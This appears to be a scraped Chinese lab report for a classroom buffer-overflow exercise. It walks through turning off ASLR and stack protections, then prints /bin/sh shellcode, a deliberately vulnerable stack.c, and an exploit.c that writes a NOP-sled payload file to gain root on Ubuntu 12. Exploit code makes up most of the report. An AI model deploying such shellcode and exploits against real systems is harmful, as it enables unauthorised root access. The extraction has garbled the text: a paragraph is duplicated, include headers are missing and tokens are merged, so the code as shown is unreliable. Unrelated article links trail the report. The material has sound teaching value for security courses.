缓冲区溢出攻击_缓冲区溢出攻击实验报告
Buffer Overflow Vulnerability Lab实验目的:掌握缓冲区溢出漏洞原理。缓冲区溢出定义:程序企图在预分配的缓冲区之外写数据。漏洞危害:用于更改程序执行流,控制函数返回值,执行任意代码。
Buffer Overflow Vulnerability Lab实验目的:掌握缓冲区溢出漏洞原理缓冲区溢出定义:程序企图在预分配的缓冲区之外写数据漏洞危害:用于更改程序执行流,控制函数返回值,执行任意代码。
漏洞产生原因:不可避免,由于程序存储数据(buffer)和程序(return address)都在栈上,当存储数据覆盖了控制数据,就会发生缓冲区溢出的可能学习目标:通过代码设计和利用缓冲区溢出漏洞获取ubuntu12的root权限。
掌握操作系统(linux OS)保护机制,阻止缓冲区溢出攻击你可以在ubuntu12虚拟机中完成本次实验,由于ubuntu中存在一些保护机制,使缓冲区溢出很难实现,为此,我们需要关闭这些保护机制地址随机化(address space randomization)。
堆/栈中的开始地址每次都不一样。关闭地址随机化
栈保护机制(StackGuard Protection)gcc编译器实现的安全机制,阻止缓冲区溢出漏洞你可以关闭这种机制,通过在编译时使用-fno-stack-protector选项栈不可执行(Non-Executable Stack)。
ubuntu12默认栈不可执行,可以通过在编译的时候使用-z execstack选项来使堆栈可执行shellcodeshellcode是一段弹出shell的可执行代码,我们需要将这段可执行代码载入内核的buffer中,。
通过缓冲区溢出漏洞,跳转到这段可执行代码处,让终端弹出shell#includeintmain( ){ char *name[2]; name[0] = ‘‘/bin/sh’’; name[。
1] = NULL; //execve()//参数1:sh可执行文件在系统中的路径指针//参数2:数组指针,传递给执行文件//参数3:传递给执行文件的新环境变量数组 execve(name[0], name,
NULL); }执行效果与直接在/bin/目录下执行./sh效果一样shellcode长什么样?constchar code[] = "\x31\xc0"/* xorl %eax,%eax */。
"\x50"/* pushl %eax */"\x68""//sh"/* pushl $0x68732f2f */"\x68""/bin"
/* pushl $0x6e69622f */"\x89\xe3"/* movl %esp,%ebx */"\x50"/* pushl %eax */
"\x53"/* pushl %ebx */"\x89\xe1"/* movl %esp,%ecx */"\x99"/* cdq */
"\xb0\x0b"/* movb $0x0b,%al */"\xcd\x80"/* int $0x80 */ ;如何让shellcode运行?
intmain(int argc, char **argv){ char buf[sizeof(code)]; strcpy(buf, code); //注意函数指针 ((void
(*)( ))buf)( ); }shellcode汇编代码解读
执行这段程序栈和寄存器中数据:
The Vulnerable Program/* stack.c *//* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */
#include#include#includeintbof(char *str){ char buffer[24]; /* The following statement has a buffer overflow problem */
strcpy(buffer, str); return1; } intmain(int argc, char **argv){ char str[517]; FILE *badfile; badfile = fopen(
"badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"
); return1; }当badfile文件中内容大小低于缓冲区大小的时候,程序正常当文件内容大小超过缓冲区大小的时候,程序异常,发生缓冲区溢出exploiting the Vulnerability。
利用缓冲区溢出漏洞,实现获取root权限:/* exploit.c *//* A program that creates a file containing code for launching shell*/
#include#include#includechar shellcode[]= "\x31\xc0"/* xorl %eax,%eax */
"\x50"/* pushl %eax */"\x68""//sh"/* pushl $0x68732f2f */"\x68""/bin"
/* pushl $0x6e69622f */"\x89\xe3"/* movl %esp,%ebx */"\x50"/* pushl %eax */
"\x53"/* pushl %ebx */"\x89\xe1"/* movl %esp,%ecx */"\x99"/* cdq */
"\xb0\x0b"/* movb $0x0b,%al */"\xcd\x80"/* int $0x80 */ ; unsigned
longget_sp(){ __asm__("movl %esp,%eax"); } voidmain(int argc, char **argv){ char buffer[517]; FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */
long* addr_ptr,addr; int offset = 200; addr = get_sp() + offset; addr_ptr = (long*)buffer;
for(int i = 0;i<10;i++) *(addr_ptr++) = addr; memcpy(buffer+sizeof(buffer)-sizeof(shellcode), shellcode,
sizeof(shellcode)); /* Save the contents to the file "badfile" */ badfile = fopen("./badfile"
, "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }编译运行程序,即可以获取root权限:
- 标签:
- 编辑:李松一
- 相关文章
-
男人三十一枝花_男人三十一枝花歌词
在网上看到国外晒光阴的帖子非常火爆,也就突发奇想,也发了个活动让我们的吃货小伙伴晒光阴,出乎意料的是竟然有许多朋友给小编发来了…
-
陶喆专辑_陶喆专辑图片
陶喆,这个名字已经成为了音乐界的传奇符号。他不仅是一位才华横溢的歌手,还是一位出色的音乐制作人,用自己的音乐影响了无数人的耳朵…
- 无限迷途_无限迷途烙印怎么获得
- reno怎么读_Adreno怎么读
- 毁灭之锤_毁灭之锤外观
- 阿黛尔·阿德金斯_阿黛尔·阿德金斯减肥
- 大明风华剧情介绍_大明风华剧情介绍_分集剧情介绍